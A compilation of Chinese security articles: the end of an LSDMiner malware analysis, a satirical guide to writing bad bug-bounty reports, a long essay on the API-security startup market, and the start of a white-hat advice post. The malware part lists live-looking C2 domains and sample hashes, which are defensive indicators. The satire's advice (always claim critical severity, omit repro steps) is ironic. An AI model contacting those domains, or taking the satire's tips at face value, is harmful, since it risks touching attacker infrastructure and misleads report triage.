前文说过，恶意样本中利用 DNS TXT通道传输的数据还有其他几种，方式都是一样：检索 DNS

TXT数据，用 base64.RawURLEncoding解码得到二进制数据；然后对域名进行MD5计算得出 AES解

密用到的 Key和 IV，然后用 CBC模式、ZeroPadding的 AES-128bit算法对 Base64解码后的二进制数

据进行解密。对应的域名还有以下几个，均可以用以上 Go程序来解密：

"update.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"shell.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"1x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"2x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"3x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"1x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"2x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

"3x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"

另外，LSDMiner涉及的二进制恶意样本，都用变形UPX加了壳，而且壳的特征很不明显，难以用固

定的特征直接检测加壳的样本。并且，相关加壳二进制样本的UPX壳幻数 (Magic Number)还经常变化，

比如本文分析的MD5为 114d76b774185b826830cb6b015cb56f的 UPX壳幻数为 0x2124922A；最新的

x86_64架构的样本 (MD5: 78e3582c42824f17aba17feefb87ea5f)的 UPX壳幻数则变成了 0x215E77F2。
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如何更快的提交一份漏洞报告

作者：pinko

来源：https://xz.aliyun.com/t/6662

各大漏洞平台和 SRC百花齐放，但是让大家头疼的是，漏洞提交之后总是重复了，究竟怎么样才

能更快的提交一份漏洞报告呢？本文按照漏洞报告的每个部分进行细分，提出了不少关键性的建设意

见，有了这些 TIPs相信你能够更加迅速的提交一份漏洞报告。

25.1 一、漏洞标题

25.1.1 1、使用 UC震惊部的祖传标题。

在输入标题的时候不用特别在意漏洞出现的位置、功能和参数，直接使用一些带感叹号的句子就可以，

这样会显得漏洞比较文艺且紧急，最后的评级会比较高。

25.1.2 2、随便输点什么即可。

在输入标题的时候可以让输入法稍微放松些，一些简单的词语不需要太在意，比如’’注入咯东 ‘‘、’’

未授权反问 ‘‘，这样会显得你在提交的时候特别的着急，气氛更加紧张，显得漏洞更加紧急，同样可

以给人留下一个好印象。

推荐标题：

1.严重！越权支付他人订单！！！2.一次说走就走的渗透 ~ˆ_ˆ~ 3.发向一个注入问题。

25.2 二、漏洞自评

25.2.1 1、别问，问就是严重。

不需要参考实际的漏洞内容和评级规则去做选择，成年人不做选择，全部填写’’严重 ‘‘就可以。这没

啥好说的。

推荐评级：

直接严重

25.3 三、漏洞详情

25.3.1 1、直击要害、一步到位

描述漏洞的时候不需要按照「网站链接-登录账号-功能点-抓包」这样的步骤详细书写，直接写最关键

的问题点就好，这样能最大程度减少大家的提交时间。还能像彩蛋一样留一个 Referer给审核人员猜

测这个页面究竟是从哪个功能点跳转过来的，趣味十足。
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推荐写法：

直接 burp发送下面的请求包

GET /evhiuhvlsajf.php HTTP/1.1 Referer: https://www.google.com/ Host: xxx.com

25.3.2 2、截图大法好，不用提供请求包

在抓包阶段，不需要提供 http请求包，因为还要复制粘贴太慢了，直接快捷键截图，然后放一张图片

大家就都懂了。最好是那种Windows98上截下来的比较模糊的截图，这样审核可能看不清直接就给了

高危。

推荐写法：

如图

25.3.3 3、不需要使用耗费时间的 Markdown格式

在报告撰写的时候，markdown格式就显得费事了一些，还需要排版，还是明文的不够安全，所以我们

推荐的格式是 base64。

推荐写法：

漏洞详情：ZGFpbWF5b25nbWFya2Rvd254c2h1eGllZ2VuZ2hhb2thbg==

25.3.4 4、擅用形容词：全、整、所有、百万

在描述的时候尝试使用一些形容词，能让整体的报告显得通俗易懂，形象立体。

推荐写法：

漏洞危害：获取全站 HTML源代码，整站 CSS文件，泄露所有的静态图片，代码行数达百

万

25.3.5 5、巧用转折句：21天让报告走向跌宕起伏

为了让人更好地理解漏洞报告，可以尝试一些转折的句子，既能够完美的表达当时的心境，又能够发

挥课上偷偷读过的小说的文采，让读者身临其境。

推荐写法：

这个时候，我一想，嘿，这不就是这个问题吗！我恍然大悟，仰天长啸。于是乎，我凑近

了电脑，打下了这一行 payload. . .
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25.4 修复方案

25.4.1 1、请求外援

这个地方可以让自己的爷爷奶奶或者姥姥姥爷帮忙写一下，不需要自己出马，但是他们一般会按照他

们的思路写下他们的想法，一般是直接写’’你们在计算机方面比我更懂 ‘‘，或者写’’你们玩手机更厉

害 ‘‘等文案。

推荐方案：

1.你们更懂 2.你们最懂 3.你们比我更明白

25.4.2 2、通用方案

使用上述方法很容易让别人看出来是爷爷奶奶帮忙写的，这个时候你可以教他们一些通用的描述方法，

比如’’过滤 ‘‘，虽然只有两个字，但是能够看出来是懂一些安全技术的，或者写’’鉴权 ‘‘，言简意赅

但掷地有声，像极了上级领导在审批单子时的批注，令人印象深刻、眼前一亮。

推荐方案：

1.过滤 2.鉴权 3.提高意识

25.5 漏洞提交

在最后提交完漏洞以后，一定记得及时通知审核人员，因为他们每天工作的时候都不会看后台的，一

般都是在聊天窗口等待大家的消息。可以提交多个漏洞后统一通知他们，也可以提交多个漏洞时，每

提交一个就联系一下他们。还有，联系的时候先不要说你提交的是什么，只用发一个’’在干嘛呢？‘‘就

好，这样做的原因一个是保持你问题的神秘感，其次还可以让他们猜测你的问题，锻炼审核人员的大

脑，也被学界称为’’量子波动聊天法 ‘‘。

25.6 最后的最后

最后祝愿大家做一个优秀的技术人才，挖更多主流的、有价值的高危漏洞，漏洞报告更上一层漏！

(本文不针对任何个人或团体，纯属娱乐，请勿对号入座，如有冒犯，请趁着气头提交漏洞：

https://xianzhi.aliyun.com/)
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作者：DJ的札记

来源：https://mp.weixin.qq.com/s/6Kli-u6LEInoliTVQgdrFQ

今年的圣杯文章拖延很久，原因是笔者公司也在做这方向产品，所以故意押后几个月才发：先看

清市场有没有跟随者以及其理解程度。毕竟创业公司要辛苦谋生度日，竞争态势也需要时刻注意。每

年的圣杯文章预测两年后初见成功的新安全产品。今年笔者挑选的方向注定是个红海；初创公司要谨

慎进入，因为必然会直面大厂发起的凶猛竞争。

26.1 应用安全的发展

最近十年，应用安全从未缺席行业热点关注。公众号留言希望笔者写写有关应用安全的要求也从未间

断过。还记得 2015年关于安全新趋势的文章吗？数据是新中心、身份是新边界、行为是新控制、情报

是新服务。每一点都代表着创业公司的市场机会。唯独没有应用安全。应用安全不重要吗？当然不是。

软件定义世界，没有人会否认软件自身安全性的重要程度。可惜的是，在 2015年，笔者并没看到应用

安全出现新技术变革。基础设施演进给应用安全市场带来了新机会，也只是交付方式的改变，导致新

增容量大部分被云基础设施大厂瓜分殆尽。过去数年间，缺乏技术变革，还要面对 CSP逐步蚕食份

额，应用安全厂商感觉压力山大，都在发愁如何把乏善可陈的产品做出亮点。在此大环境下，专注技

术创新的初创公司也很难孵化出明星。

为了佐证此论断，我们不妨对比 2004年与 2017年 OWASP Top 10的变化。下图中，笔者用箭头画

出了相差十三年两份列表的内容对应关系。透过表象看实质：仔细研究其详细解释，就会发现除了列

表标题文字表达有些许差异外，具体安全控制点在两份文档中几乎都可以一条不落地找到。
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例如，2004 A10 Insecure Configuration Management具体解释中第一点即明确提到 unpatched security

flaws in the server software，与 2017 A9 Using Components with Known Vulnerabilities并无本质区别。2017

A4 XXE是新出现的条目，自然是由于XML广泛应用所引起的，但是让我们看一眼 2004 A1 Unvalidated

Input的解释：Attackers can tamper with any part of an HTTP request, including the url, querystring, headers,

cookies, form fields, and hidden fields, to try to bypass the site’s security mechanisms. 显然，XXE只是其中

一种表现，并不新鲜。而反序列化漏洞代替缓冲区溢出，揭示着应用系统架构的变迁，Java等开发语

言逐渐占据统治地位。消失在前十的 2004 A9 Application Denial of Service，把它挪到 2017 A11的位置，

相信绝大部分读者都没有异议。2017年真正意义上新出现的条目只有一个：A10 Insufficient Logging &

Monitoring，而这正是整个安全业界对于防御和检测的心态发生了根本转变才有的认识。

不知道各位看官有没有像笔者当时一样感到十分惊叹。假设 2004年你已经掌握了Web攻击的基

础知识并充分实践，恭喜你，十几年后，你即使并没努力学习新技术，即使一直原地踏步，也不会被

无情淘汰。这在飞速发展的计算机领域简直太不可思议了。举个例子做对比，同样这十五年间，操作

系统等软件的安全性至少上了四五个大台阶，如果你不能持续跟进新技术发展，内网横向移动必然举

步维艰。

回顾应用安全领域的标杆产品WAF的发展历程，也可以看到类似现象。开源ModSecurity发布于

2002年，虽然易用性和支持性比不过商业产品，但事实上一直代表着此领域的技术发展水平。把时间

拨回到 2015年，笔者能看到的创新，也只有 SQL注入的词法分析，始于 2012年开源的 libinjection。

这个目前 WAF厂商还在重点宣传的新功能，ModSecurity在 2013年初就已经集成并提供。题外话，

libinjection的作者后来作为 CTO共同创立了引人注目的 Signal Sciences，成为WAF市场后起之秀。在

此之后，ModSecurity于 2014年引入模糊哈希方法 ssdeep检测 webshell，其所用技术 CTPH早在 2006

年面世，实际效果差强人意，难以大张旗鼓宣传。从那时到现在，大家又记得WAF检测技术出现了

什么新变化吗？

笔者还观察到一个有趣现象，无论美国亦或国内，如果你跟 NGFW或其它产品方向的领先厂商的

技术人员交流，总会有一种感觉，他们对WAF根本不重视，言谈中隐隐流露出认为其技术老旧缺乏

壁垒、市场规模有限、所以不愿意投入的意思。

但笔者十分重视WAF市场。熟悉的朋友都知道我近几年多次讲到十分后悔 2015年纠结了半年时

间最终没有坚定投入WAF产品。那时候，我看到了WAF在国内市场的巨大潜力：少有的预算增速和

预算份额远超美国市场的安全产品，这是由于当时国内电商和线上业务发展速度已经显露出全面超过

美国的迹象。但是我也看到了缺乏技术革新带来的产品同质化严重，同时高估了大厂的产品研发和市

场进攻执行力，还有重金砸销售与那时公司运营模式不同的挑战，等等各种貌似正确的理由，最终错

失了一次市场爆发机会。每日三省吾身，交过学费的自然要牢记并且避免再犯错。这几年来，笔者一

直念念不忘试图寻找进入应用安全领域的切入点。
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上文提及，云增量被 CSP吃掉。早在 2015年，笔者就认为云WAF位列云安全产品收入前三，应

是云服务商重点投入方向，参见本公众号文章《安全，是云基础设施的核心竞争力之一》。那年，业界

还在争论，云服务商应不应该做安全、能不能做好安全。白驹过隙，四年后市场给出了强有力的答案：

今年各路分析师报告，全球前十WAF厂商里有一半是云基础设施服务商。新机会由交付方式改变而

引发，并非技术变革，导致WAF市场发展不是创新驱动而是投资驱动，因此头部 CSP能拥有巨大竞

争优势。

应用安全其它领域的需求亦很强劲，只是难以规模化成长，独立支撑起一个上市公司的难度颇大。

例如 RASP，2015年 RSAC创新沙盒冠军Waratek，现在也转向 RASP与WAF结合，走 Signal Sciences

的道路；成立十年之久，规模却落后太多。近两年新趋势，厂商同时提供 RASP和WAF集成，弥补

各自不足之处。Shape Security当年猛吹动态变形，究其原理也是 RASP路数，想做到上市也困难重

重，历经转换方向尝试，到现在早已改成 RASP+WAF+SDK。Imperva起家其实是靠数据库安全。美国

WAF市场启动与国内同步甚至略慢，到现在也已经变成红海，收购整合一直在进行中。另外，今年创

新沙盒入围者 ShiftLeft，数学方法辅助自动化代码漏洞挖掘，笔者虽然很喜欢其技术，但也知道很多

美国投资者并不看好代码审计类产品，因为他们投了近二十年的代码审计初创公司，最好的结果是被

收购。应用安全厂商面对窘境，无不积极寻找转折机会。横跨半步，已成为安全行业扩大规模的普遍

策略，常见的有，威胁情报厂商销售 IDS，漏扫厂商通过 DAST产品进入 SDL，代表厂商如 Rapid7，

等等。

洋洋洒洒写了两千多字，显然不是废话去浪费大家时间，而是要为中心思想做铺垫：虽然过去十

年美国市场涌现出不少应用安全创业公司，但成功者十分稀少。就在眼下，应用安全领域出现了一个

少见的拥有巨大市场空间的创业机会：API安全。新应用风险，新安全战场。或许很多读者已经猜到

此答案，因为从去年底开始，笔者已经多次在小型沙龙和大型行业会议中公开介绍过 API安全的基础

知识。新基础设施必然会带来新安全产品机遇。作为连接一切应用并交付数据和功能的方式，API已

成为安全团队不得不重视的关键风险控制点。

26.2 新形势与新机遇

过去五年，云计算已经深入到数字化经济基础设施的方方面面，市场竞争态势的巨大变革导致诸多厂

商盛衰沉浮，不乏跟不上趋势从此一蹶不振的。未来五年，影响深远的技术架构变革会是什么？一千

个读者心中有一千个哈姆雷特，不同解读在所难免。但是，微服务、Serverless、边缘计算，应该能覆

盖大部分读者心中的答案。听起来区别颇大的三个方向，却都有一点共同特征：API是必不可少的基

础模块。
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业内容易有个认知误区，微服务常常被认为等同于容器，其实不然：容器只是提供了大规模部署

的便捷管理方法，容器离开微服务架构就没有大发展机会，而微服务离开容器仍将继续快速前行。容

器的易用性必然会带来额外资源消耗、性能波动、治理复杂度、以及其它相对应的局限，因此如今也

有企业在部署微服务时，出现从容器回退到虚拟机甚至物理机的现象。或相反方向，使用更抽象化更

易管理的计算方式支持微服务，类似 Serverless用于搭建 Microservices，AWS已自成体系：Lambda、

Fargate、Aurora Serverless、EventBridge、Kinesis等等。事实上，微服务架构的核心是网格 mesh，网

格的连线采用 API最易达成管理。因此，没有 Kubernetes照样可以使用微服务，没有 API就没有微服

务。业界有些专家坚称，微服务不过是 SOA旧瓶装新酒，此论调与当年将云计算等同于虚拟化一说惊

人雷同，迟早会被证误。笔者认为，SOA所描述的数据总线已经过时，将被支持网状通讯传输的数据

平面所替代。原因有很多，既然是安全行业公众号，本文就只讲从安全角度出发的一点：SOA数据总

线架构无法满足数据安全合规要求。只有升级到点对点的服务网格，使用分类分级的 API，严格认证

身份并充分鉴权，遵循最小限度使用数据的原则，才能灵活达成日趋严格的数据资产内控目标。下面

借用一张示意图说明 API在微服务架构中的无处不在。
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闲扯两句，近两年来感觉国内云厂商能力与 AWS和 Azure相比差距越来越大。很多人并不理解什

么是 ‘‘跟随者战略’’。并不是友商今天发布一项新产品，咱们自己 10个月后也发个新闻稿写页 ppt就

能搞定。有些新产品需要起码几年时间去开发，大神再多的研发团队也没办法创造奇迹。真正的跟随

者战略，要提前三五年识别友商的中期战略，还原其产品规划路线图，然后自己才能布局资源投入，

达成落后一年跟随领导者推出新品的目标。不踏实做竞争分析的功课，等人家产品都发布了，自己手

忙脚乱硬上，顶多是学个皮毛，凑合做个界面，面子里子本末倒置。还有人觉得 AWS发布 Fargate是

被 Kubernetes逼迫的无奈之举，App Mesh无法面对 Istio，事实上只能说他根本不理解云计算和 AWS

战略，不过是鹦鹉学舌般喊名词扯大旗。Kubernetes是很凶猛，Istio是很牛逼，但就像十年前大家还

会聊起 Xen和 KVM，现在 AWS云上绝大多数客户不会提及 Hypervisor而只知道 EC2一样，五年后，

客户只要能在 AWS上轻松跑起来容器并编排应用之间网络连接就好，人家只需要知道 Fargate和 App

Mesh，管你下面用的 K8s/Istio还是什么其它架构。就连掌握 K8s的 Google也推出了相同产品 Cloud

Run。如果连行业领导者的战略都看不懂，就不要奢谈什么跟随者策略。计算抽象化，自打计算机问

世后就一直存在，无法阻挡也不可避免，在云上也没有例外，Serverless已经被公认为大势所趋。

Serverless，或者有人叫 Function-as-a-Service（其实范畴略有不同），本来就是构建于 API之上且以

API方式提供功能交付，所有后台计算服务器都被抽象化，用户看不见也不关心，自然不用多说 API

在其中扮演的重要角色。边缘计算，也不可能有独立的孤岛设备，边缘计算节点之间以及与云上中心

服务器的所有交互都是通过 API实现。让我们再来看看更多热门应用场景：人工智能 AI平台能力都

是通过 API来交付的，无论是图像识别还是反欺诈；今年炒得火热的中台，实质上是把后端能力标准

API化；供应链中的数据交换，毫无疑问也都是 API；不一而足。在数字化转型过程中，API已经成为

不可或缺的基础设施。

既然 API应用广泛是大趋势，那做 API管理平台是不是比 API安全更有前景呢？去年早些时候，

笔者与几个做投资的朋友聊起此创业方向时，狠狠泼了一盆冷水。首先，去年开始做明显已经晚了，

要做也必须在巨头动手之前，先发才能有机会抢占市场。早在三四年前，国外巨头已经纷纷开始布局，

参见下表。其次，API管理服务受客户导流影响显著，初创公司需要付出可观的客户获取成本，而这

方面巨头拥有无可比拟的优势，无论是私有化部署或者云交付。第三，开源方案已经很成熟，Kong、

WSO2、Ambassador、Tyk、Zuul等各有千秋，令业务自建门槛大幅降低，有一定自研能力的企业往往

不会选择外购。
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国内市场还要面临更多的挑战。尤其难免会遇到拷问灵魂的问题：巨头入场之后，创业公司的竞

争优势如何体现？此方向上，很难建立有效的技术壁垒，无论是性能还是功能，想突破 Nginx衍生平

台的水平，真不是三五个核心团队成员一两年能搞定的。想做开源发行版定制？Hadoop生态的颓势历

历在目。此外，云厂商的标准产品会吃掉绝大部分中小企业的市场份额。还有之前已经成功的业务系

统开发厂商，他们坐拥前期积累的成本优势，必定横移半步正面竞争。API管理平台由于与业务系统

关联紧密，客户很高概率会要求定制开发，这对创业公司既是机会又是陷阱。一方面即使巨头拿到订

单也可能不愿意做，甩给小公司，不过这样拿到的单子交付压力大，毛利率较低，另一方面，直销往

往又需要付出高昂的获客成本，非标准化且交付要求高的产品，走渠道只是空想罢了。简而言之，规

模发展速度受限，利润空间堪忧。

但凡存在基础设施演进变革，安全创业的机会就少不了。随着 API迅速成为内外部人员和应用服

务之间交换并使用数据的主要通道，管理层越来越担心它所带来的内外部威胁。API安全由于坐拥安

全市场区隔的独有特性，竞争态势会远远好于通用 API管理市场；而 API管理厂商虽然会提供部分基

础安全能力，例如用量限制、抗 DDoS、防 bot、身份认证和鉴权等，但通常也没有能力太过深入去抢

安全厂商的饭碗。既然如此，接下来需要考虑的便是，API安全应该如何切入呢？

26.3 跨细分领域且跨基础设施

虽然本文以应用安全开头，不过 API安全可不仅仅局限于应用安全，还横跨数据安全和身份安全领域，

这就令其切入点变得多且分散。任何只关注某一细分领域的 API安全产品都不是完整的，客户要求的

是能处理此场景中尽可能多风险矛盾的完整解决方案。创业公司可以根据自己历史积累的竞争优势，

灵活选择入场方式，然后再横向移动至相邻细分领域。例如笔者公司的 API安全产品便是由数据安全

入手，随后引入认证和鉴权相关风险的检测，目前在完善应用安全方面的覆盖。
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照此逻辑，WAF大厂 Imperva从应用安全入手非常自然，API安全已经位列其应用安全类目下的

顶级产品线，与WAF并列。之前在Web攻防领域积累颇多的厂商，自然首先宣传对 API攻击会造成

巨大危害。Imperva产品彩页包括四个要点：阻止 API相关的严重攻击、构建基于 OpenAPI规范的积

极安全模型、集成安全性至 API生命周期管理、网站与 API的统一安全解决方案。是不是感觉描述十

分简单？由此可见 Imperva也才刚刚开始。

上图说明了 API安全在 Imperva整个纵深防御产品体系里的位置。

Web安全已有超过 15年时间的高强度对抗，而 API对抗不过才刚刚开始，程序员们都没经过实战

演练，很容易出现各种漏洞。因此，在目前阶段，攻击 API很容易达成满意结果，利用已有渗透测试

工具都能获取可观的产出，典型的 a low-hanging fruit，年底冲业绩的红队不妨一试。

说到这里不能不提 OWASP组织的 API安全前十列表，如下图所示。在笔者看来，此列表过于注重

攻击防守技术，缺少对业务风险的理解和支持，安全团队难以使用类似口径向管理层汇报，立项申请

预算都要颇费一番周折。因此，笔者从商业风险纬度出发，总结了五点管理层关心的、会造成明确业

务损失的、并且有缓解措施落地的 API安全威胁，在多个场合公开介绍过。限于篇幅，此处不展开细

讲了。
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大家不妨对比一下 OWASP Top 10与 OWASP API Top 10之间的区别，篇幅所限这里不展开详细讲

了。

今年 RSAC创新沙盒入围厂商 Salt Security是 OWASP API Top 10的赞助商之一，号称可以发现攻

击者侦查 API的行为，从其思路来看也是应用安全方向。很遗憾的是，过去一年中笔者在各展会上四

处寻觅却都没看到其产品演示，这情形也十分少见，令人不禁心生疑惑。

从身份安全迈入 API安全也是一条可行之路。API离不开身份认证和鉴权，IAM厂商天生就有

现成客户群体沉淀，可交叉销售的新产品线是许多管理层扩张战略的最爱。Ping Identity 首先通过

PingAccess为客户提供 API中的权限管控能力，发现协同效应后，进一步收购 Elastic Beam以完善

API安全解决方案：打包成下图中的 PingIntelligence产品线。

355

resource/3fb73edd493674f476168451800e04503975af2a.png


随笔杂谈 下一座圣杯——2019

上面的另一块拼图组成部分，便是对 API 使用过程中的数据流动的监控，产品线名称为

PingDataGovernance。笔者不愿意过分夸大数据流动的风险，虽然五年前我们产品已经有了数据地图

的功能，但从来没大张旗鼓宣传也没必要去吓唬用户。原因很简单，不分重点监测数据流量的工作，

投资回报率 ROI较低，不建议资源紧张的安全团队超前考虑。安全行业中颇有一些貌似简单直观的概

念，乍听上去很有道理，人人都能理解并附和讨论几句，其实却经不起推敲。安全发展到现在，再出现

简洁直观的体系架构非常困难，至少很难发源于普通从业者。最近几年火热的诸如零信任和 ATT&CK

等新思路，有哪个是能轻易理解上手的，又有哪个是能快速落地的，又有哪个不是投入巨资多年积累

的？现实当中，企业大部分的数据流动场景的风险极低，盲目检测与大海里捞针没什么区别，短时间

也许可以赢得一些赞誉，长期产出难以预测和衡量，无法得到管理层认可。试图掌握大型企业中的数

据流动？安全团队不妨先厘清预算，带宽、存储、算力是否足够支撑，最关键的是，要有足够的员工

编制确保日常运营，再考虑检测出的风险数量是不是足够多到能说服管理层进而持续支持如此之大的

资金投入。以为是蓝海创新，其实是高投入低产出的无底洞。几十年来，安全预算首重边界防护是非

常有道理的，因为那里是 ROI最高的所在。延续这一思路，发现数据流动风险，想要出业绩，最重要

的是监控边界处发生的恶意技战术，办公网自然是 DLP，而业务系统领域 API当仁不让首当其冲。

API安全从数据防泄漏角度切入对管理层也拥有非常吸引力。2018年，由于 API问题造成的知名

数据安全事件发生了很多起，小额社交支付 Venmo泄露了数十万条交易细节，T-Mobile泄露了 230万

用户敏感数据，Facebook泄露了超过 3000万账户，USPS则泄露了约 6000万账户的数据。2019年，澳

大利亚最大的房地产评估公司 LandMark White出现 API漏洞，导致房地产估价细节和客户信息泄露；

调查发现，出现的问题根源在于，最初设计只能在内部使用的 API，被攻击者从其域外部访问；此事件

严重损害了该公司声誉，客户和银行合作伙伴争相寻找替代方案，最终导致首席执行官辞职。不幸的

是，此类 API数据泄露问题十分常见，也不是权限检测就能发现的，往往需要依赖行为分析才能捕获。
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除了横跨三个细分领域之外，API安全还有更多难点，需要适应多种不同时期不同架构的业务应

用。传统行业拥有大量历史留存的基于 SOAP的老旧业务系统，并不遵循 OpenAPI，甚至不使用 REST

API，而是WebSockets传输 XML数据。此外，JSON、Protobuf、GraphQL、RPC、HTTP/2等等，很多

时候开发人员都是拿橘子跟苹果对比，概念范畴都无法对齐，API安全产品处理起来更是复杂。大部

分国外创业公司只专注于一种接口，但在国内恐怕行不通。

下图的演讲标题看着眼晕不？是不是有不忍直视的拉郎配般的酸爽？如果公司里有个盲目崇拜大

厂不停尝试追赶实验室技术的架构师，那安全团队一定有种被无情架在火堆上炙烤的感觉。

此外，API使用场景广泛，需要厂商有全面覆盖多种不同基础设施的产品能力。最简单的部署方式

自然是网络流量镜像，还原 HTTP流量中的 REST API通讯，大家都觉得容易，但内部员工使用业务系

统 API的 TLS加密流量，能正确应对还原的厂商就不多了。JSON能描述的数据格式简单，业务系统

需要传输大量 PDF表单和 Office文档，内容是否敏感也需要筛查。使用 S3兼容对象存储、CIFS/SMB、

NFS等存储设施中转数据，也需要能进一步识别。微服务 sidecar镜像过来的流量得能接住，API网关

也需要提供插件支持，分布在全球各地的流量探针要考虑如何汇聚海量日志，5万正式员工加 3万外

包电脑使用 API的行为如何准确发现异常并定位，等等，各种各样的复杂情况都需要考虑到，厂商产

品化工程压力山大。

只监视自己公司内部业务系统之间的数据流动？那顶多覆盖了 5%不到的风险区域。真正重要的

风险不是简单标记数据传输就能描述清楚的。例如，呼叫中心客服虚拟桌面系统和后台业务订单系统

每天传输 100万条客户数据，这俩系统之间本来就应该有数据流动且看起来完全正常，那就没有风险

了？真正的威胁隐藏于每一条 API使用的过程中，可能只有 1%的数据交换是风险，特权用户恶意下

载、账号泄露盗用、用户权限提升、访问鉴权缺失、敏感数据意外暴露、隐蔽后门接口等等，都可能

造成严重后果，这可不是只看数据流动就能发现的，需要从身份、应用、数据三个角度出发综合考虑

才能有效检出。
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26.4 境况不佳的 API安全初创公司

创业首先要选好方向，否则血泪一把。Chronicle被抛弃一点儿都不令人意外，就算是含着金汤匙出生

的行业大佬，妄图不顾市场规律逆势而行，也都会撞到头破血流惨淡收场，类似故事在各行业都是持

续上演屡见不鲜。API安全并非新事物，历史悠久，七八年前就有，但直到今年才初露峥嵘，刚需且

市场潜力巨大，是创业的好机会。同时，API安全注定是红海。若创业选择此方向，必须认真考虑自

身团队的核心能力是不是有机会在千军万马中跑出领先身位。笔者注意到美国有两家此领域创业公司

已经解散关门，大部分团队都出现了增长缓慢和融资困难的现象。所以，笔者去年底也斟酌良久才确

定投入资源。创业维艰。过去几年相对准确的预测，并不代表笔者这次不会犯错误，想进入此方向的

读者请自行认真考虑并承担风险。

想做好 API安全产品还是蛮难的，领域多且复杂，功能范围分布较广，门槛较高。此处，我们粗略

看看几家被分析师提及的创业公司的产品方向，读者可以感受一下不同厂商之间的区别有多大。另外

也能得出不要盲目崇拜国外厂商的结论，因为大部分做得实在很一般，分析师地域偏见十分明显。

26.4.1 42Crunch

已有 4年历史，专注于 OpenAPI，总部位于伦敦，团队经验丰富，前 Axway和 IBM等经历，但融资

并不顺利。其产品提供三种能力。首先，根据 OpenAPI标准规范，检查提交的 API定义是不是满足

安全要求。其次，动态检测 API服务是否遵循 API定义，报告总结扫描内容和方式，包括响应时间、

收到的 HTTP状态代码、以及意外响应状态代码等。最后，API防火墙，使用 C编写，Docker镜像，

sidecar牵引流量已经是标准配置，只能工作在 Kubernetes环境下，必须连接 42Crunch的平台。笔者

听过其创始团队的几个议题，感觉他们确实对 API实践经验丰富，只是这产品形态距离进入大规模推

广阶段还有不少阻碍。笔者很难看好其未来发展，团队还需要主动寻找转折点。

26.4.2 Aiculus

2017年 10月成立，位于墨尔本，融资历程惨不忍睹。其使用人工智能 AI自动检测和阻止试图盗取数

据和欺诈性的 API使用。下面一段是 Aiculus宣传的机器学习实际用例。
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利用 8000+用户认证和访问日志的历史数据对神经网络模型进行训练。历史数据由 13个

特性组成，包括用户请求访问系统或进入物理建筑时收集的用户属性参数。利用这些数据

对机器学习引擎进行训练，使其能够准确预测平台上的访问分配、访问拒绝、再认证和用

户意图。‘‘进入物理建筑’’？门禁确实勉强能跟 API扯上关系吧。8000+用户在澳大利亚算

个不错的案例了，在国内真不是能值得吹嘘的规模。

读者可以看出，Aiculus从身份安全切入 API安全的路径选择。

26.4.3 Data Theorem

业界一直有个传说，不需要融资就能快速发展的创业公司才是真正生猛强大。大家听听笑笑也就算了，

别当真。不烧钱还想高速增长，在今天的国内安全市场无异于天方夜谭，大部分企业服务公司烧钱还

见不到增长呢。

不过凡事必有例外，Data Theorem就很神奇，员工规模达到 300人，却没看到任何公开的融资信

息。2013年成立，最初做移动安全，目前已转向应用安全，API安全是业务重点。创始人为 20年

连续创业者，有两家公司被收购的历史。Data Theorem提供两款产品，API Discover和 API Inspect。

Discover能持续自动在客户公有云基础设施中发现新的 API、记录已知 API的更改、以及与这些 API

相关的其他云服务。

Discover产品还能让安全和运营团队发现 Shadow API，基于云的分析引擎不断扫描 Serverless应用

程序，一旦发现就会生成警报并通知安全团队。Inspect分析引擎持续对 API的身份验证、加密、源码、

和日志进行安全评估，确保 API操作功能与其定义相匹配，并报告关键漏洞警报。

下图是 Data Theorem建议的 API安全实施步骤，没有常见的咨询机构的高大上体系，只能做落地

实用参考。
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26.4.4 imVision

虽然融到钱但很少以至于日子过得十分惨淡的以色列厂商。其产品介绍无足称道，笔者都提不起兴趣

多写两句。生搬硬套的人工智能驱动，如下张幻灯片讲自然语言处理识别 API模式。

26.4.5 FX Labs / CyberSecuriti

落寞的硅谷公司，融不到钱，创始团队已有变动。大家看到这里是不是已经对 API安全创业失去信心

了？这个公司产品以漏洞扫描为主。
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26.4.6 Sapience

类似的漏洞扫描方向。同样没钱的小团队。

26.4.7 CloudVector / ArecaBay

今年 RSAC上笔者就注意到此家，2018年正式成立，华裔创始人，行业经验丰富，参与创办过 Netskope，

再之前是一家被McAfee收购的团队成员。直到今年 11月才宣布获得 500万美元投资，公司改名，同

时空降 CEO和 CFO。其产品主要包含三种能力：

API检查模块 AIM：全自动微传感器模块持续发现连接到企业资产的所有 API，包括影子 API。
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深度 API风险追踪器 DART：深度监控模块将经验证过的机器学习应用于客户特定的 API蓝图，

驱动 API风险的自动识别，更重要的是还能实时检测对手尝试侦查的行为。

API响应模块 ARM：实时响应模块能针对 API滥用强制实施安全策略，是完全解决 OWASP API

Top 10的唯一解决方案。

此处放一张今年 3月 ArecaBay宣传材料照片，限于篇幅就不放更多资料了。
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各位看官有没有很失望，以为分析师推荐厂商列表能让人眼前一亮，实际看下来大部分都是三脚

猫水平，要是拿这么低完成度的产品去忽悠国内大甲方，还不得被口水喷到体无完肤。这也从另一个

角度说明，现在安全行业需求水平日益提高，想做好一个企业级产品，最少投入的资金，在美国至少

两千万美元，在国内至少四千万人民币，不融资几乎不可能。想反驳的，请别用开源项目糊弄产品靠

销售硬塞的例子留言给笔者。如果吹牛巨额融资花了一个亿重金精雕细琢出一个产品来，也请投资者

擦亮眼睛避免入坑，原因很简单，国内安全产品的毛利水平根本撑不起如此挥霍。

笔者研究后发现，论 API安全产品质量，目前美国市场上的几个大厂明显优于大部分创业公司，

恐怕国内也会面临相同局面，至少头部公有云厂商肯定会自行研发，自用然后尝试输出。因此，创业

团队要对潜在竞争有清醒认识，并拥有足够信心在产品上直面竞争。市场大势，此消彼长。五年前做

API安全，毫无疑问会成为被拍在沙滩上的前浪，那时的契机是WAF。现在进入 API安全，机会与风

险并存。做好准备面对大额资金投入的一线厂商吧。小公司如果能过好产品关，即使身处激烈竞争的

红海，也许运气会和你站在一起，成功可期。
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白帽成长建议

作者：ASRC

来源：https://www.anquanke.com/post/id/195859

ASRC网站已上线 6年，截止今天，根据排行榜显示 2019年有 668名白帽为 ASRC上报有贡献值

的安全风险。

